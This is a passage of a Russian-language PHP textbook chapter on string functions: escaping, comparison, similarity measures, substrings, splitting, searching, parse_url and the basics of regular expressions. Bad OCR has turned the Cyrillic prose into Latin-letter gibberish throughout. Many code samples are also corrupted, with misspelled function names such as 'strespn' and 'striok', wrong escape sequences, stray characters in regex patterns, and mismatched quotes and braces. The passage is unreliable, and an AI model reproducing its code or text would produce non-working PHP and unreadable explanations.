HapHbLIMUW KaBbl4kamMn BMeCTO obpaTHoro cnewa. Ansa 3tmux 6a3 naH-
HbIX BKNIOYUTE magic_quotes_sybase B Bawem caiine php.ini.

ET——

/ NMpumeuyanune. HekoTopble 6a3bl AaHHLIX (Hanpumep, Sybase) Tpe-

4.5.4. Koguposanue C-cTpok

DyHKUMUS addcslashes() 3KpaHUpPYeT CTPOKy ciemiaMu B cTuie si3bika C. Bce
CHMBOJIbI, 32 UCKJIIOYEHHEM TNpeacTaBieHHbIx B Tabauie 4.4 u ¢ ASCII-konamu
ot 32 no 126 6yayt npeo6pa3oBaHbl B BOCbMEPUYHOE NpeAcTaBjeHne (Hanpu-
Mep, “\002"). ODyHKuMM addcslashes() u stripcslashes(). HUCIIOJIb3YIOTCS
C HECTAHJApPTHBIMU CHCTeMaMH 6a3 JaHHbIX, Y KOTOPbIX eCTb COOCTBEHHOE Npes-
craBjieHre 00 3KpaHUPOBaHUHU CHMBOJIOB.

Tabnuua 4.4. Cumeonsi-uckniovenns ana addcslashes() u stripcslashes()

ASCII-3HaueHne Koauposanune
___7 ....................................... IP— \a et <A
8 \b
9 \t
S 10 .................. AU | | S Sl
1 \V
........................................... T \f |
13 \r

ODOyHkuus addcslashes() BbI3bIBAETCSI C ABYMsI apryMEHTaMH - CTPOKa, KOTO-
PYIO HY>KHO 3aKOAMPOBATb M 9KPaHUPyeMble€ CUMBOJIbI:
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$escaped = addcslashes(string, charset);

« 9,

Ykaxure Aarna3oOH CMMBOJIOB, UCITOJIb3YyAA KOHCTPYKLUIO .. !
echo addcslashes(“hello\tworld\n", “\x00. \x 1fz. \xff");

BriBox:

hello\tworld\n
Bynbsre BHUMaTebHBI IPU SKPAaHUPOBAHUM CUMBOJIOB O, q, b, f, n, r, t U v. OHHU
OyayT npeobpasoBanbl B \0, \a, \b, \f, \n, \r, \t 4 \v. B si3bike C Bce oHU sIB-

JISIIOTCS TpeioTpeieIeHHbIMU escape-ocjenoBarebHoCTsIMY, a B PHP aTo Mo-
JKET MOCJTYKUTh IPUUMHOM Ty TAHUIIBL.

DyHKUMS  stripcslashes() MPUHUMAeT CTPOKY U yaajisieT 3KpaHMPOBaHHUe,
npousBeieHHoe (pyHKIMeEN addcslashes():

$string = stripcslashes(escaped);
Hanpumep:

$string = stripcslashes(’npuser\tmup\n');
// $string = “npuser\tmup\n”

4.6. CpaBHeHKue CTpPOK

B PHP ects aBa oneparopa u mects GyHKLUMIA 1151 CDaBHEHUS CTPOK.
TouHbie cpaBHeHus. OnepaTopbl == U ===

Onepartopsl == 1 === MO3BOJIAIOT ONPEeIe/UTh, IBIAIOTCA JU JBe CTPOKM SKBU-
BaJIEHTHBIMU. Pa3HuIIa MeXX 1y HUMU 3aKjI0YaeTcsi B 06paboTke onepaHioB, KO-
TOpbIE He SIBJSAIOTCSA cTpokamu. Omepatop == npeoOpasyeT onepaHiibl B CTPO-
KH, TI03TOMY OH COOOLIMT, YTO YKCJIO 3 PaBHO cTpoke “3”. OnepaTop === BepHET
false, €caiv TUMNBI JAaHHBIX aPrYMEHTOB OTJIUYAIOTCS:

$01=3;

$02="3";

if (o1 ==$02) {

echo("“== sepHyn true<br>”);

}
if ($o1 === $02) {
echo("=== sepHyn true<br>");

}
BeiBon:
== BepHyn true

OnepaTopsl cpaBHeHUs (<, <=, >, >=) TaK:Ke pabOTaIOT CO CTPOKAMHU:
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$him = "Anton”;
$her = "lOnus”;

if ($him < $her) {
print “{ $him) nexcuxorpaduuecku naxoautcs nepen { $her}\n”;

}
BriBoI:

AnToH nekcukorpaduuecku Haxoautcs nepen KOnus

O[[HaKO NPy CPaBHEHHUU CTPOK U HUCEJI PE3YIbTAThl MOTYT 6bITb HEOXHUJaHHbIMU:
$string = "PHP”;
$number = 5;

if ($string < $number) {
echo(”{$string} < {$number)”);
}

BoiBox;

PHP <5
Koraa onun aprymenT onepatopa cpaBHEHUS - YUCJIO, APYTOil apTyMEHT CBOIUT-
cs K yucay. IIpu cBeseHuu K uMcay cTpokud “PHP” oHa mpeBpatutcs B 0. Ilo-
CKOJIbKY O MeHblile 5, OyeT BbiBe/leHa CTpoKa “PHP < 5”.
YT00bI SBHO CPABHUTD IBE CTPOKH, HCIIOJIb3YiTe HYHKLHIO strcmp|):

$relationship = stremp(string_1, string_2);
ODOyHKUMA Bo3Bpallaer -7, ecau CTpoka string_1 nekcukorpaduyecku MeHblie
cTpokH string 2 (TO ecTb CTPOKa String_1 1npu COPTUPOBKE B ajihaBUTHOM I10-
psiIKe HaXOAWTCS Tepes CTPOKOW string 2). 3HadeHue 1 BO3BpallaeTcsl, eCIIH

string_2 nexkcukorpaduyecku HaxoauTcs nepen string_1, a 0 Bo3Bpaliaer, eciu
CTPOKH O/IMHAKOBBIE:

$n = strcmp(”PHP Rocks”, 5);
echo($n);

BriBoz;
1

ODyHKIUMSA strcasecmp() sABJAsSETCS BapualMed stremp(). PasHuima B TOM, 4TO
strcasecmp() KOHBEPTUPYET CTPOKM B HUIXXHUU PperucTp rnepel CpPaBHEHUEM.
ApryMeHTBHI ¥ BO3BpalllaeMble 3HAaUEHUS] TAKUE XKe, KaK U IS stremp|):

$n = strcasecmp(”®Denop”, “$elOp”);  // $n=0

lpyras Moaudukauus strcmp() NpeqHasHayeHa [JIsi CPDABHEHHMSI TEPBBIX He-
CKOJIBKUX CHUMBOJIOB CTPOKU. DyHKIMSA strncasecmp() MPUHUMAET OIMOJ-
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HHUTEJIbHBINA aPIryMEHT - YUCJIO CUMBOJIOB, KOTOPbIE OYYT UCIOJIb30BaThCA IS
CPaBHEHUSI:

$relationship = strncmp(string_1, string_2, len);
$relationship = strncasecmp(string_1, string_2, len);

EcTb ewe aBe ¢pyHkuuy, Mcnob3yommecs A1 CPaBHEHUSA CTPOK B HAMYpab-
#HOM nopadke — (QYHKUMU strnatemp() U strnatcasecmp(), KOTOpblE TPHHU-
MaIOT T€ € apryMeHTBHI, UTO U strcmp() U BO3BpPALIAIOT Te ke 3HaueHus. [Ipu
COPTHUPOBKE B HATYPaJIbHOM TOPS/IKE YHUCJIOBBIE YACTH COPTUPYIOTCS OTAEJbHO
OT CTpoYHbIX yactei. Tabuua 4.5 moka3biBaeT Pa3HUILY MEXK/AY HATYypPaJbHbIM
nopsaxom u ASCII-nopsaxom.

Tabnuua 4.5. Hatypanshuiii nopsgok vs ASCll-nopsaxa

HaTtypanbHbii nOpaaok - ASCIl-nopsaok
pic1.jpg pic1.jpg
pic5.jpg pic10.jpg
pic10.jpg pic5.jpg
p'c T - p|0501pg ................. 2l

MpubnusurensHoe cpasHeHne

PHP npenocraBisieT HeCKOJIbKO (YHKILUMA, MTO3BOJISIONMX BaM BBISCHUTD, SIB-
JAITCA  JU  CTPOKM MPUOJU3UTENBHO PaBHBIMM:
similar_text(), and levenshtein():

soundex(), metaphone(),

$soundexCode = soundex($string);

$ metaphoneCode = metaphone($string);

$inCommon = similar_text($string_1, $string_2 [, $percentage ]);

$similarity = levenshtein($string_1, $string_2);

$similarity = levenshtein($string_1, $string_2 [, $cost_ins, $cost_rep, $cost_del ]);

Anroputmsl Soundex u Metaphone Bo3BpalaioT oIMHAKOBbE 3HAYEHHE IS
CJIOB, UMEIOIIUX CXO/HOE TMPOU3HOIIEHHWEe HAa AHIJIMIICKOM sI3bIKe. AJITOPUTM
Metaphone 60iee To4€ek, YTO IEMOHCTPUPYET CIIEAYIOIUMIA TPUMEP:

$known = “Fred”;
$query = "Phred”;

if (soundex($known) == soundex($query)) {
print “soundex: {$known} ssyuut kak { $query }<br>";
}
else {
print “soundex: { $known} we 3syuut kak { $query }<br>";
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if (metaphone($known) == metaphone($query)) {
print “metaphone: { $known} 3syuu kak { $query}<br>";

}

else {
print “metaphone: { $known} e 3syuur kak { $query}<br>”;
}
BoiBox:

soundex: Fred ne 3syuut kak Phred
metaphone: Fred 3syuut kak Phred

ODyHKUMA  similar_text() BbIYKCISET CTENEHb [MOX0XECTH JABYX CTPOK, BO3-
BpallaeT YUCJIO OJMHAKOBBIX CHMBOJIOB, KOTOPBIE ECTb B IBYX I1€PEIaHHBIX CTPO-
Kax. B Tperuii mapaMerp, eciM OH 3a/1aH, 3aHOCUTCS CTENEHDb IMOX0XKECTH ABYX
CTPOK, BbIpak€HHasl B TPOLIEHTAX:

$string1 = “Rasmus Lerdorf”;

$string2 = “Razmus Lehrdorf”;

$common =similar_text($string1, $string2, $percent);

printf("Y nepenanHeix ctpok %d obwmx cumeonos (%.2f%%).”, $common, $percent);

BuiBox:
Y nepeaaHHsix ctpok 13 obwmx cumsonos (89.66%)

AnroputMm JleBeHIuTelHA BbIYMCISET MOAOOHOCTb ABYX CTPOK Ha OCHOBAHHH
TOT0, CKOJIbKO CUMBOJIOB HYXHO J06aBUTb, 3aMEHUTb WUJIH YIAJIUTh, YTOOBI Clie-

@ ”

JIaTb CTPOKM OAMHAKOBbIMH. Hanpumep, y cioB “cat” U “cot” paccrosinue Jle-

“_n

BEHILUTENHA paBHO 1, IMOCKOJIBKY HY>XHO 3aME€HHTb BCEro OAUH CUMBO.I ( a Ha

“”"

0”), 4TOOBI C/Ie1aTh KX OIMHAKOBBIMM:
$similarity = levenshtein(“cat”, “cot’); // $similarity = 1

Hannas Mepa nono6usi BHIYHCASAETCS ObICTPee, YEM MCIIOJIb3yeMast yHkuuen
similar_text(). Bbl Moxere nmnepenatb (QYHKUUU levenshetin() TpU mapa-
MeTpa, YTOObI BBIYUCIUTD BEC BCTABOK, YAAJEHHUH U 3aMEH:

echo levenshtein('would not', 'wouldn\t, 500, 1, 1);

4.7. Manmnynaumsa n NOUCK CTPOK

Y PHP ectb MHOTO (pyHKIMit 1715t paboThl cO cTpokaMu. OObIYHO AJIs1 TOMCKa
Y 3aMeHbI CTPOK MCIOJIb3YIOTCS (DYHKIIMH, UCIIOIB3YIOUIME PETYJIsIPHbIE BhIPaXKe-
HUS 171 onmvcanus ctpok. DyHKIMK, OnKMcaHHbIe B 3TOM pasjiesie, He HCTIOIb3YIOT
peryJisipHble BbIPaXKEHUS] — OHH ObICTPee, YEM PETYJISIPHbIE BbIPAXKEHUSI, HO OHU
paboTaloT TOJIBKO TOTZA, KOrAa Bbl HlileTe (PMKCHMPOBAHHYIO CTPOKY (Harmpumep,
€CJIv BbI HlileTe “12/11/017, a He “KaKue-TO YKCJIa, pa3fieIeHHbIe caellaMu” ).
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4.7.1. NopcTpoku

ECJII/I HUMeeTCA 60]1]:)1[13.5{ CTpOKa U1 Bbl TOUHO 3HAETE, 1€ B 3T0ﬁ CTpOKe HaXonasAaT-
Cs UHTEPECYIOLUE BAC TaHHbIE, Bbl MOXKETE CKOIIMPOBATDH UX C ITIOMOILIBIO q)yHK'
LU U substr():

$piece = substr(string, start [, length ]);

ApryMeHT start onipe/iesisieT MO3UIHIO B CTPOKE String, C KOTOPoU OyaeT HayaTo
KONMUPOBaHue, 0 03HAYaeT Hauyajlo CTPOKU. APryMeHT length 3a1aeT 4uCI0 CUM-
BOJIOB, KOTOpOE GyIeT CKOMUPOBAHO (M0 YMOJIYAHUIO BbIMOJIHSIETCST KOTUPOBa-
HUe 10 KoHLa cTpoku ). Hanpumep:

$name = "Mean Ueanos”;
$first = substr($name, O, 4); // $first = "Uean”
$last = substr($name, 5); // $last = "Mesanos”

YToO6bI y3HATh, CKOJMILKO Pa3 MEHbIIAsi CTPOKA BCTpeyaeTcss B OOJIbIIEH CTPOKE,
HCNOJIb3YiiTe QYHKIHUIO substr_count():

$number = substr_count(6onbu.|aﬂ_CTp0Ko, ManeHbKas_cTpoka);
Hanpumep:

$sketch = <<< EndOfSketch

Well, there’s egg and bacon; egg sausage and bacon; egg and spam;

egg bacon and spam; egg bacon sausage and spam; spam bacon sausage
and spam; spam egg spam spam bacon and spam; spam sausage spam spam
bacon spam tomato and spam;

EndOfSketch;

$count = substr_count($sketch, “spam”);

print(“Cnoso spam sctpeuaetcs {$count} pas.”);

Boison:
Cnoeo spam ectpeuaetcs 14 pas.

@OyHKIUSA substr_replace() MO3BOJISIET MPOM3BOJUTH MHOXECTBO BH/IOB MO-
IUGUKALY CTPOKH:

$string = substr_replace(original, new, start [, length ]);
(DyHKHI/IH 3aMeEHsET 4aCThb CTpOKI/I Oﬁginal HAaYWHAIOU[YIOCSA C CUMBOJIA C HOPHI[-
KOBbIM HOMEDOM Start U AJMHOM length cTPOKOI new U BO3BpAlIaeT Pe3yJIbTar.

Ecnn He 3amaH 4yeTBepThHIl apryMeHT, substr_replace() ynmansieT TeKCT, HauM-
Hasl C MO3ULMHU Start 10 KOHLIa cTpoku. Hanpumep:

$greeting = “good morning citizen”;
$farewell = substr_replace($greeting, "bye”, 5, 7);
// $farewell ="good bye citizen”

YcranoBute aprymeHT length B 0 171st BCTaBKHM 6€3 yaaleHus:
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$tfarewell = substr_replace($farewell, “kind *, 9, 0);
// $tarewell = “good bye kind citizen”

nu

Hcnonbayiite 3aMeny “” 17151 yaaneHust 6e3 BCTaBKU:

$tarewell = substr_replace($farewell, “*, 8);
// $farewell = “good bye”

3nech MMOKAa3aHO, KaK Bbl MOXX€TE€ BCTABUTb TEKCT B Ha4aJIO CTPOKH!

$farewell = substr_replace($farewell, “now it's time to say *, O, 0);
// $tarewell = “now it's time to say good bye"*

Ecau start - OTpULATEJIbHOE YUCJIO, 3aM€HA HAYUHAETCA C CUMBOJIa C IMTOPSAAKO-
BbIM HOMEDOM start, cduTas OT KOHLIa CTPOKH:

$tarewell = substr_replace($farewell, “riddance”, -3);
// $tarewell = “now it's time to say good riddance”

OrtpuuarenbHoe 3HaueHHe apryMeHTa length onpeziessieT KOJTUYeCTBO CUMBOJIOB
OT KOHL[a CTPOKH, Ha KOTOPOM 3aKaHYMBaEeTCs 3aMeHa:

$tarewell = substr_replace($farewell, ““, -8, -5);
// $tarewell = “now it's time to say good dance”

4.7.2. Pa3ubie CTPOKOBble PYHKUMM

@DyHKUHUSA strev() BO3BpalaeT CTPOKY String, B KOTOPOi MOPSIIOK CHMBOJIOB
M3MeHeH Ha 0OpaTHBIii:

$string = strrev(string);
Hanpumep:
echo strrev(“mama”);
BriBox:
amam
DyHKLHS str_repeat() BO3BpalllaeT CTPOKY String, NOBTOPEHHYIO count pas:
$repeated = str_repeat(string, count);
Hanpumep, HaM HYXHO [IOCTPOUTb TOPU3OHTATIbHYIO BOJIHY:
echo str_repeat('_.-.", 40);

DyHKUUA str_pad() 3aMoNHSET OAHY CTPOKY APYroi crpokoil. OnuuoHasb-
HO Bbl MOJXXeTe JONOJHUTb CTPOKY CJIEBA, CIIPaBa UK ¢ 0O0UX CTOPOH J0 3a/1aH-
HOM JIJTUHBIL:

$padded = str_pad(to_pad, length [, with [, pad_type ]]);

Ilo YMOJIHAaHHUIO CTPOKaA 3allOJIHAETCA HpO6eJIaMI/I CripaBa:
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$string = str_pad('Fred Flintstone', 30);
echo “{$string}:35:Wilma";

BriBon:

Fred Flintstone :35:Wilma
Heobsi3aTenbHbIN TPETHIA TAPaMETP - 3TO CTPOKA, KOTOPO# OyAeT 3amojiHena pe-
3YJIBTUPYIOLLAs CTPOKA:

$string = str_pad('Fred Flintstone', 30, '.");
echo “{$string} 35”;

BoiBog:
Fred Flintstone. . . ... .. 35

Heobsi3aTebHblit YeTBEPTHIA MapaMeTp MOXET ObITh yCTaHOBJIEH B STR_PAD_
RIGHT (o yMosyaHuI0), STR_PAD_LEFT uiu STR_PAD_BOTH. Hanmpumep:

echo ‘[' . str_pad(’Fred Flintstone’, 30, * *, STR_PAD_LEFT) . “]\n";
echo ‘[' . str_pad('Fred Flintstone’, 30, '/, STR_PAD_BOTH) . “]\n";

BeiBon:

[ Fred Flintstone]
[ Fred Flintstone ]

4.7.3. llexomno3uuus cTpoku. PazbueHune cTpoku

PHP npenocrasisieT HeCKOJbKO GYHKIIMH, TIO3BOJISIIOIIMX Pa3bUTh CTPOKY Ha
HECKOJIbKO MEEHBIIINX COCTABJASIOIMUX. BOT 3T dyHKIIUM (OT MPOCTOH K CJIOXK-
HOI): explode(), strtok() ¥ sscanf().

®ywkumn explode() nimplode()

JlaHHble 4acTO MPUOBIBAIOT KaK CTPOKH, KOTOPbIE AOJXKHbI ObITh PasOUTHI Ha
MaccuBbI 3HaueHuH. HampuMep, y Hac ecTh CTPOKA, co/iepKallasi pa3aeieHHble
sansiTeiMU mosist (dopmar CSV), HampuMep, “Ueaw,Meanoe,25” U Bbl XOTHUTE
U3BJIeYb MOJI U3 JaHHOU CTPOKU. B 3TO#l cuTyaluu Bbl MOXeETe UCIOIb30BaTh
yHKIUIO explode():

$array = explode(separator, sting [, limit]);

[TepBblil apryMeHT, separator - CTpoKa (CMMBOJ), TIpeJACTaBJIsiiomasi coboit pas-
nenuTesb nosieit. Bropoit apryMeHr, string, 3To CTPOKa, KOTOPYIO HY>KHO pa3ouTh.
Tperuit HeoOs13aTeIbHBII TapaMeTp limit - MaKCUMaTbHOE YUCJIO 3HAYEHUH Mac-
cuBa. Eciiu 1ocTUrHYTO 3HaUeHHMe, 3aIaHHOe apryMeHToM limit, mocjennuii ae-
MEHT MacCHBa COJEPXKUT OCTATOK CTPOKU. PaccCMOTPUM HECKOJIBKO TPUMEPOB:

$input = ‘Mean,Ueamos,25’;
$fields = explode(’,’, $input);
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// $fields = array('Mea’, 'Usanos’, '25')
$fields = explode(',', $input, 2);
// $fields is array('Mean’, 'eakos,25')

@Dyukuust implode() BHIMOJIHSET OOPATHYIO ONMEPALMIO, TO €CTh CO3/1aeT 060Jb-
UIYIO CTPOKY U3 MAaCCHBA, COJIEPXKAILETO MEHbIIINE CTPOKH:

$string = implode(separator, array);

[lepBblit apryMeHT, array, 3a1aeT CTPOKY-pa3/ieJIuTeNb, KOTOPOH OyayT pa3me-
JISITHCS 37IEMEHTDI MACCHBA, 33/IaHHOTO BO BTOPOM I1apaMeTpe, array. Ytobbi Boc-
CTaHOBUTH CTPOKY U3 NMPeBIAYILETO MPUMEPA, BHIZOBUTE implode Tax():

$fields = array('Meaw’, ‘Msanos’, '25°);
$string =implode(',", $fields); // $string = 'Mean,Meanos,25'

(Dymcum{ join() SIBJIsSIETCS ICEBAOHUMOM 151 GYHKU MU implode().
Tokenu3sauusa. Pynkums striok()

DyHKUMS striok() MO3BOJISIET BaM HMTEPUPOBATb MO CTPOKe (HECKOJbKO pa3
o6pabaTbiBaTh CTPOKY) M M0Jy4aTh HOBbII ee (parMeHT NMPH KaXKI0H CJAeAyIO- .
meit urepauuu. [Ipu nepBoM Bri3oBe QYHKIMH HY>KHO MePeaTh 1Ba apTyMEHTa:
CTPOKY, 10 KOTOPOii HY>KHO UTEPUPOBATH U pa3jieauTesb. Hanpumep:

// nony4aem nepebiii snemeHT
$firstChunk = strtok(string, separator);

[ns monyyeHHUs] OCTaBIUIMXCS 2JIEMEHTOB, HYXKHO B LIMKJIE MOBTOPUTH BHI3OB
strtok() TOJIBKO C pa3eIuTeIeM:

// cnenyowmni anemMeHT
$nextChunk = sirtok(separator);

PaccMmoTpuM cienyiomuii npumep:

$string = “Uean,Usaros,35,Msarosny”;
$token = strtok($string, *,”);
while ($token I==false) {

echo(”{ $token}<br />*);

$token = striok(”,”);

}
BriBox:

Mean
Meanos
35

MeaHosmy

(Dymcuml strtok() BO3Bpalaer false, KOrza B CTPOKe 6osbllle HET 3JIEMEH-
ToB. {ns1 MOBTOpHOH WHUUManIU3aUuM (YHKUUMK 32aHOBO BBI3OBHUTE striok()
C ABYMs apryMeHTaMH. JTO llepe3anyCcTUT QYHKLHUIO C Hayala CTPOKH.
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Oynkuma sscanf()

DyHKUUS sscanf() BBINOTHSIET AEKOMIIO3ULHAIO CTPOKH B COOTBETCTBUU C LIA-
6JIOHOM, 33JTaHHOM B CTHUJIE printf() (CM. BbIlIIE):

$array = sscanf(string, template);
$count = sscanf(string, template, varl, ... );

Ecnv He 3aiaHbl [ONOJHUTENIbHBIE apryMeHThI, (YHKLHS sscanf() BO3Bpalla-
€T MacCHB M0Jieii, HallpUMep:

$string = "®pea\tPauncron (35)";

$a = sscanf($string, “%s\t%s (%d)");

print_r($a);

BriBoa:

Array

(
[0] => ®Ppen
[1] = PauncTon
[2]=>35

)

Ecnu 3aganbl cchlIKK Ha IIEPEMEHHDBIE, B HUX 6leyT 3allhMCaHbl U3BJIEKAEMbIE€ U3
CTPOKH 3JIEMEHTHI, a (t)yHKLIl/ISI BO3BPATHUT YHUCJIO PACITIO3HAHHBIX TNOJIEH:

$string = “Uean\tMearoe (35)";
$n = sscanf($string, “%s\1%s (%d)”, $first, $last, $age);
echo “Haiinero {$n} noneit: {$first} {$last). sospacr {$age} net”;

BriBOI:

Harperno 3 noneit: Msan Meanos. Boapacr 35 ner

4.7.4. ®yHKuMM NOKCKA CTPOK
1151 moMcKa CTPOK UJTH CUMBOJIOB B CTPOKE HUCITOJIb3YIOTCSI HECKOJIBKO (OYHKLIHA.
Mx MOXHO pa3aenTb Ha TPH CEMENHCTBA:
® strpos() U strrpos() — BO3BpallalOT ITO3ULIUIO;
e strstr(), strch() ¥ MOLOOHBIE — BO3BpAIAOT HAWAEHHYIO CTPOKY;,
e strspn(), strespn() — BO3BpAlllAlOT JJIMHY Y4yacTKa B Hayajle CTPOKH,
MOJIHOCTBIO COOTBETCTBYIOILETO MacKe.

Bo Bcex ciyuasix, eciv Bbl YKa)KMTe YHCJIO B KA4eCTBE CTPOKH st noucka, PHP
obpabaTbIBaeT YHUCJIO KaK MOPSIAKOBBIH HOMep cuMBoJa. [loaToMy BbI30B cile-
nyoouux QyHKIUMA aHaIoruyeH, MockobKy 44 - ato ASCII-3HaueHue 3ansiTou:

$pos = strpos($large, “,”); // HaxopuT nepsylo 3ansTyo
$pos = strpos($large, 44); // TaKxe HaXOAMT NepBYIO 3aNSTYIO



..............

Bce ¢yHkuuu noucka ctpoku Bo3BpamaioT false, €CIM OHU He MOTYT HAWTH
IOJICTPOKY, YKa3aHHYI0 BaMU. Eciiu moacTpoka BcTpeyaeTcsl B Hayasle CTPOKH,
¢dyukunn Bosspamaiot 0. [Tockonbky false cBoAUTCSA K O, BCEraa CpaBHUBANTE
BO3BpalllaeMoe 3HaueHHe C IOMOIIbIO ONepaTopa ===:

if ($pos ===false) {
// He HanpeHo

}

else (
// waiaeHo, $pos - 310 cmelenme B cTpoke

}
®yHKuMK, BO3BpaLLAIOLME NOZULMUIO
DyHKUMSA strpos() HAXOAUT MEPBOE BXOXKAeHHE MeHblied CcTpPoku (small
string) B Gosbyio (large_string):

$position = strpos(large_string, small_string);

Ecau uckomas crpoka (small_string) He HaiizeHa, strpos() Bo3Bpauiaer false.

DyHKUMSA strrpos() HAXOAUT MOCJIEHEE BXOXIEHHE MOACTPOKU B cTpoke. OHa
IIPUHUMAET Te XKe apTyMeHThbI M BO3BpalllaeT Te >Ke 3HAaUeHHUs], UTO U strpos().

Paccmorpum npumep:

$record = “Uean, Nearoemny, 1 135,UesaHos”;
$pos = strrpos($record, “,”);  // waiitu nocneaniolo sansTyio
echo(“Mocneanss 3anstas 6uina HaiaeHa Ha noauumu { $pos}”);

BoiBoz:
MocnenHss 3anstas 6uina HaMaeHa Ha no3vumm 18
QYNKI.MM, B03BpaLlaloue OCTaTtok CTpOKHU

DyHKUMSA strstr() HAXOAWUT IMEPBYIO MOCJEI0BATENbHOCTh BXOX/IEHHUSI MeHb-
el CTPOKK B GOJBIIYIO M BO3BpALIAET MOACTPOKY OOJblIeld CTPOKH, HAUMHAS
C MePBOTO BXOXK/IEHUS MeHbLIEH CTPOKH U 10 KOHIL[a bosblieii ctpoky. Hamnpumep:

$record = “Mean, Meanoemy, 1 135,Uearos”;
$rest = strstr($record, “,"); // $rest =", Ueanoeuy, 1135,MeaHos”

JlocTynHbl caeayrolie BApDUaHThl (PYHKIMH strstr():
® stristr() - HEYYBCTBUTEIbHAA K PETUCTPY strstr();
e strchr() - mCeBOOHUM A1 strstr();
® strrchr() - HAXOAUT MOCJIeIHEE BXOXEHUS CUMBOJIA B CTPOKY.

Kak u B cayyae c strpos(), strrchr() MpOM3BOAMT MOMCK B OOpPaTHOM HaIpas-
JIEHUH, HO TPOU3BOAUTCS MOUCK 001020 CUMBOAA, A HE BCEH CTPOKH.
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Mouck ¢ ncnonb3oBaHNEM MaCcoK
DyHKIUU strspn() U strespn() co06IIAI0T BaM, CKOJIBKO CUMBOJIOB B Hayaje
CTPOKH COCTaBJIEHO U3 OTpeeIeEHHbIX CHUMBOJIOB (COOTBETCTBYET MACKe):

$length = strspn(string, charset);
Hamnpumep, cnenyomasi GyHKnusl NpoBepsieT, COAEPXKHUT JU CTPOKA YHUCIIO
B BOCbMEPUYHOI cHUCTEME:

function isOctal($str)

return strspn($str, '01234567') == strlen($str);
}

(DyHKIUA strespn() BO3BpAIlaeT JIMHY y4YaCTKa B Havajle CTPOKH, HE COOTBET-
CTBYIOIIIEr0 MacKe, TO eCTh, CKOJIbKO CUMBOJIOB B HayaJie CTPOKH He COOTBETCTBY -
€T CMMBOJIaM, 3a[aHHbIX B Habope cuMBOJIOB (aprymeHT charset). Vicnionb3yiite
JaHHy10 QYHKIIMIO, KOT/Ia YMCJIO UHTEPECYIOIIMX BAC CHMBOJIOB IIPEBBINIAET YHC-
JIO HeMHTepecyolIMX cuMBoJIoB. Hanpumep, cienyiommas GyHKIUs MpoBepsieT,
ectb Ji1 B cTpoke NUL-6aiiTbl, TaOyIsi1Ms UK BO3BPAThl KAPETKM:

function hasBadChars($str)
{

}
Pa3noxenune URL

return strespn($str, “\n\\0") = strlen($str);

DyHKIUSA parse_url() Bo3BpaInaet MaccuB cocTapisiiomux URL:
$array = parse_url(url);
Hanpumep:

$bits = parse_url("http://me:secret@example.com/cgi-bin/board2user=fred”);
print_r($bits);

BriBog;

Array

(
[scheme] => http
[host] => example.com
[user] => me
[pass] => secret
[path] => /cgi-bin/board
[query] => user=fred

)

Bo3MoxHBI cienyionie Kaoyd: scheme (TUIN MPOTOKOJA), host (MMsST y37a),
port (MOPT), user (IOJIb30BaTENb), pass (Maposb), path (MyThb), query (CTpOKa
3anpoca), fragment (¢pparMeHT).




..............
4.8. PerynapHbie BbipaxXeHus

Ecnu BbI Hy)1aeTech B 6oJiee C105KHOI MOUCKOBOU HYHKIMOHAIBHOCTH, YEM Ta,
KOTOpasi IPeIoCTaBJIsSIeTCs] ONMCAaHHBIMU PaHee MEeTOJIaMU, Bbl MO>KeTe UCIOJIb-
30BaTh peryJisipHble BbIpaXkeHUs. PeryssipHoe BbIpa>keHHe - 3TO CTPOKA, KOTO-
past npeactasisieT coboi wabyaoH. PerysisipHoe BbipaskeHHe MO3BOJISIET CPaB-
HUTD 3TOT 1WAGJIOH C IPYrod CTPOKOM M ONpPE/IeIUTh, COOTBETCTBYET JIM CTPOKA
wabaony. HekoTtopbie pyHK1MM TO3BOJISIOT BaM ONPEIETUTb, [/1€ MMEHHO HaX0-
JUTCSI COBIAJIEHUE, a IPyTrHe NMO3BOSIIOT BHOCUTb U3MEHEHUSI B CTPOKY.

Ectb TPH THUIIOBbIX criocoba IIPDUMEHEHUS PETYJIAPDHbIX Bpra)KeHMﬁI
® H3BJIEUEHHE MH(I)OpMa]_II/[M U3 CTPOKH, COOTBeTCTByIOU_Ieﬁ I]la6]lOHbI;
® [I0JICTAHOBKA HOBOI'O TEKCTA BMECTO TEKCTA, COOTBETCTBYIOLLETO ].L!aél]OHbI;

® pas3aejieHue CTpOKH Ha MEHbIIINE YaCTH.

Y PHP ectp ¢pyHkuuu nns Bcex npumeHenuil. Hanpumep, preg_match() BbI-
MOJIHSIET POBEPKY CTPOKHU HAa COOTBETCTBUE PETYJISIPHOMY BbIPAXKEHUIO.

Honaroe Bpems s3bik Perl cunTann aTajoHOM il TECTUPOBAaHUSI MPOU3BOIM-
TEJIbHOCTH MOLIHBIX PEryJIsipPHBIX BbipaxkeHuit. S3bik PHP ucnoasayer 6ubsuno-
teky C pcre, uTo obecreynBaeT NOYTH MOJIHYIO MOAAEPXKKY Bcero apceHana Perl-
dbyHKUMit 17151 pabOTBI C pEryJiIipHbIMU BbIpaXKEHUSIMU. PeryisipHble BbIpaXkeHUst
Perl paboTaioT ¢ 1BOMYHBIMH aHHBIMHU, TOITOMY Bbl MOXeTe Oe30macHo pabo-
TaTh ¢ WabsoHaMu M cTpokamu, copepxatuMu NUL-6aiitsr (\x00).

4.8.1. OcHOBHbiE NONIOXEHUA UCNOJIb30BAHUA PErYAAPHbIX
BblpaXeHUM

BonplinHCTBO CUMBOJIOB B PEryJiIpPHOM BbIDQXKEHUM — JIMTEPAJIbl U O03HAYAIOT
camu cebs1. Hanpumep, ecyiu Bbl HILIKMTE PETYJISIPHOE BbIpaXkeHue “/123/" B CTPO-
Ke “456 1238”, y Bac 6y/1eT coBnaJeHue, NOCKOJIbKY “123” BCTPEYaeTcsi B CTPOKE.

Y HeKoTOpBIX CUMBOJIOB €CTb ClieLlHalbHOe Ha3HaYeHHUe B PeryJIsipHbIX BbIpake-
Husax. HanpuMep, cuMBOJ ~ B Hayasle PeryJisipHOTO BbIPa)K€HHUsl O3HAyaeT, uTo
HY>KHO UCKaTb COOTBETCTBHE B Hauajie CTPOKH (uJH, 60Jiee TOUHO, TPUBSI3bIBAET
peryJisipHOe BbIPaXKeHHeE K Hayajly CTPOKH):

preg_match(”/"123/", 456 1238");  // sosspawgaer false
preg_match("/~123/","12345678"); // sosspawaer true

AHasioruyHo, 3Hak jaosiapa ($) NpUBSI3bIBAET PEryJjsipHOe BbIpaXKeHUE K KOH-
Iy CTPOKH:

preg_match("/123%$/", "4561238 987"); // sosspawaer false
preg_match(“/123%$/", “87654 123"); // sosspawaer true
